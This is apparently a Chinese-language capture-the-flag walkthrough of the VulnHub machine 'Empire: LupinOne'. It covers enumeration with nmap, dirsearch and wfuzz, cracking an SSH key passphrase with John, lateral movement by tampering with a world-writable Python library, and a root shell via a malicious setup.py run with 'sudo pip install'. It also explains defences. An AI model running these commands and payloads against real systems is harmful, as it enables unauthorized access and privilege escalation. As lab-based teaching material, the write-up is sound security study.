Empire: LupinOne
來自 <https://www.vulnhub.com/entry/empire-lupinone,750/#top>
?
1,將兩臺虛擬機網絡連接都改為NAT模式
2,攻擊機上做namp局域網掃描發現靶機
nmap -sn 192.168.23.0/24
那么攻擊機IP為192.168.23.128,靶場IP192.168.23.149
3,對靶機進行端口服務探測
nmap -sV -T4 -p- -A 192.168.23.149
?
4,訪問80端口開放的http服務
掃描枚舉網站子目錄
dirsearch -u http://192.168.23.149 -x 403,404??
http://192.168.23.149/robots.txt
http://192.168.23.149/~myfiles/
http://192.168.23.149/manual/en/index.html
5,在舊版 Apache 中,~username URL 會映射到該用戶主目錄下的公開網頁目錄。如果服務器開啟了 mod_userdir 模塊,攻擊者可以通過枚舉 ~username 的形式發現服務器上存在的用戶及其公開目錄。借助 wfuzz 這樣的工具,可以高效地自動化測試不同的用戶名,從而找到如 ~secret 這樣的隱藏路徑,進而獲取潛在敏感信息或利用點
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.23.149/~FUZZ
http://192.168.23.149/~secret/
你好朋友,我很高興你找到了我的秘密,我創建了這樣的內容來與你分享我創建的 ssh 私鑰文件,
它隱藏在這里的某個地方,這樣黑客就不會找到它并使用快速通道破解我的密碼。
我很聰明,我知道這一點。
有任何問題請告訴我
你最好的朋友 icex64
繼續在該路徑下模糊測試以搜索文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt? --hc 404,403 -u http://192.168.23.149/~secret/.FUZZ.txt
訪問得到一個全是編碼后的網頁
http://192.168.23.149/~secret/.mysecret.txt
解碼就能得到ssh私鑰文件
Base58 編碼的特征
1. 設計初衷
Base58 是 比特幣 等加密貨幣體系里廣泛使用的一種編碼方式,主要用于:
- 地址表示(避免用戶輸錯)。
- 替代 Base64,以去掉容易混淆的字符。
2. 字符集特征
Base58 的字符集由以下 58 個符號組成:
123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
特點:
- 去掉了 0(零)、O(大寫字母 O)、I(大寫字母 I)、l(小寫字母 L),因為它們容易和其他字符混淆。
- 沒有 + / = 這類符號(Base64 常見)。
- 全部由 大小寫字母 + 數字 構成。
3. 長度特征
- 編碼后字符串通常 較長,但比 Base64 短(因為沒有填充符 =)。
- 沒有固定的長度規則,但常見長度:
- 比特幣地址:通常 26–35 位。
- IPFS CID、某些區塊鏈交易哈希:可能更長。
4. 格式特征
- 全字符串只會包含上述 58 個字符。
- 不會出現 0, O, I, l, +, /, =。
- 通常作為“可復制粘貼”的 ID 或地址出現,常見在錢包地址、交易哈希、邀請碼中。
- 在日志或數據包里看起來像一串“看似隨機”的大小寫字母+數字混合。
5. 檢測方法
當你在分析日志或流量時,如果遇到可疑字符串,可以通過以下方式判斷是否可能是 Base58:
- 檢查是否只包含 Base58 字符集。
- 檢查是否沒有 0, O, I, l 等字符。
- 檢查長度是否落在常見范圍(比如 25–35 位時,很可能是加密貨幣地址)。
- 嘗試解碼,看是否得到合理的數據結構(如版本號+校驗和)。
6. 典型應用場景
- 比特幣地址(最常見)。
- IPFS CID(內容尋址標識符)。
- 區塊鏈中的交易 ID、私鑰/公鑰編碼。
- 某些邀請碼/序列號(為了用戶友好)。
一句話總結:
Base58 編碼特征就是——由 58 個不易混淆的字母數字組成的字符串,不含 0/O/I/l/+/=/ 等符號,常見于加密貨幣地址、區塊鏈標識和分布式系統 ID。
6,使用ssh2john生成一下密碼本,然后再用john爆破一下,就可以得到密碼了
使用 ssh2john.py轉換私鑰文件格式
- John the Ripper 不能直接識別 OpenSSH 的私鑰格式。
- ssh2john.py 是一個轉換工具(John 官方自帶),可以把 SSH 私鑰文件轉化為 hash 格式,供 John 識別和破解。
- 命令:
/usr/share/john/ssh2john.py privatekey > passwd.txt- privatekey:解碼后的私鑰文件。
- passwd.txt:輸出文件,里面是 John 能識別的哈希。
使用 John 爆破密碼
- 如果私鑰被設置了密碼(passphrase),直接用來連接 SSH 會提示輸入密碼。
- John the Ripper 可以通過字典攻擊或暴力破解嘗試恢復出這個密碼。
- 命令:
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt- --wordlist=...:指定字典文件。
- passwd.txt:剛才生成的哈希文件。
- John 會嘗試字典中的每一個候選詞,直到找到正確的私鑰密碼。
所以私鑰密碼就是P@55w0rd!
7,先給密鑰文件賦予600權限,然后再ssh登錄
chmod 600 privatekey
ssh icex64@192.168.23.149 -i privatekey
登錄成功,然后再進行信息收集
再查看如何提權
發現一個能夠以arsene用戶權限執行的py文件
cat /home/arsene/heist.py
這個程序調用了webbrowser.open,我們可以嘗試篡改這個所有人可讀可寫可執行的文件以實現提權
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
添加一條調用/bin/bash的程序
然后再sudo運行這個文件
sudo -u arsene python3.9 /home/arsene/heist.py
成功切換用戶
?
橫向移動的原理
這就是 橫向移動(Lateral Movement) 的典型手法:
- 起點:攻擊者先控制低權限用戶(icex64)。
- 突破口:找到某個程序/配置,允許以另一個用戶運行代碼(sudo -u arsene)。
- 漏洞點:該程序依賴了一個可篡改的庫文件(webbrowser.py),而這個庫文件權限過寬(777)。
- 利用鏈:
- 修改庫文件 → 注入惡意代碼。
- 執行目標程序 → 被迫加載惡意模塊。
- 獲得新用戶(arsene)的 shell。
本質是 劫持依賴(Dependency Hijacking):利用目標用戶執行程序時會調用的依賴庫,并篡改該庫來執行任意代碼。
安全啟示
- 系統關鍵庫文件絕不能設為 777。
- sudo 配置應避免直接運行依賴第三方庫的腳本。
- 監控 /usr/lib/python*/ 下文件的完整性(如用 AIDE、Tripwire)。
總結一句話:
這個橫向移動的原理就是——利用 低權限用戶可寫的系統庫文件(webbrowser.py),劫持了 Python 依賴模塊,當目標用戶用 sudo -u arsene 執行程序時,惡意代碼被加載,從而實現從 icex64 用戶橫向移動到 arsene 用戶的提權。
8,然后再sudo -l看能否提權
搜索怎么通過pip提權
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
最后成功提權成為root用戶
?
sudo pip 提權原理
1. 漏洞前提
- 當前用戶可以執行:
sudo pip install ...
(也就是允許用 root 權限運行 pip)。 - pip 在安裝包時,會執行 setup.py 里的 Python 代碼。
- 關鍵點:setup.py 不僅僅定義安裝邏輯,還能執行任意 Python 代碼。
2. 攻擊步驟分析
(1) 創建臨時目錄
TF=$(mktemp -d)
- mktemp -d 創建一個隨機命名的臨時目錄(例如 /tmp/tmp.abcd1234),存放偽造的“包”。
- TF 保存該目錄路徑。
(2) 編寫惡意 setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
- 在該目錄中寫入一個 setup.py 文件。
- 內容:
import os
os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)') - 作用:當 setup.py 被執行時,直接替換當前進程為一個交互式 shell。
- sh <$(tty) >$(tty) 2>$(tty) 確保 shell 與當前終端連接,而不是靜默運行。
(3) 以 root 權限運行 pip
sudo pip install $TF
- pip install 時,會自動執行目標路徑下的 setup.py。
- 因為這里是用 sudo 運行的 → 進程以 root 身份運行。
- 結果:攻擊者得到一個 root shell。
3. 本質原理
- pip install 的實現機制:
- 解析 setup.py
- 執行其中的安裝邏輯(實際就是執行 Python 代碼)。
- 當你能用 sudo 運行 pip 時,就等于獲得了一個能讓你寫的任意 Python 代碼在 root 權限下運行的執行器。
- 所以,sudo pip 本質就是代碼執行 → 提權。
4. 防御措施
- 禁止在 sudoers 中直接允許 pip。
- 使用 pip install --user,避免全局安裝。
- 如果必須用 root 安裝,推薦使用 python -m venv 隔離環境。
- 生產系統中可以通過 sudoers 白名單限制具體命令,而不是整個 pip。
總結一句話:
sudo pip 提權的原理是 —— pip 在安裝包時會執行 setup.py,而 setup.py 是任意 Python 代碼。當 pip 以 root 身份運行時,攻擊者就能通過自制的包執行任意代碼,從而直接獲得 root shell。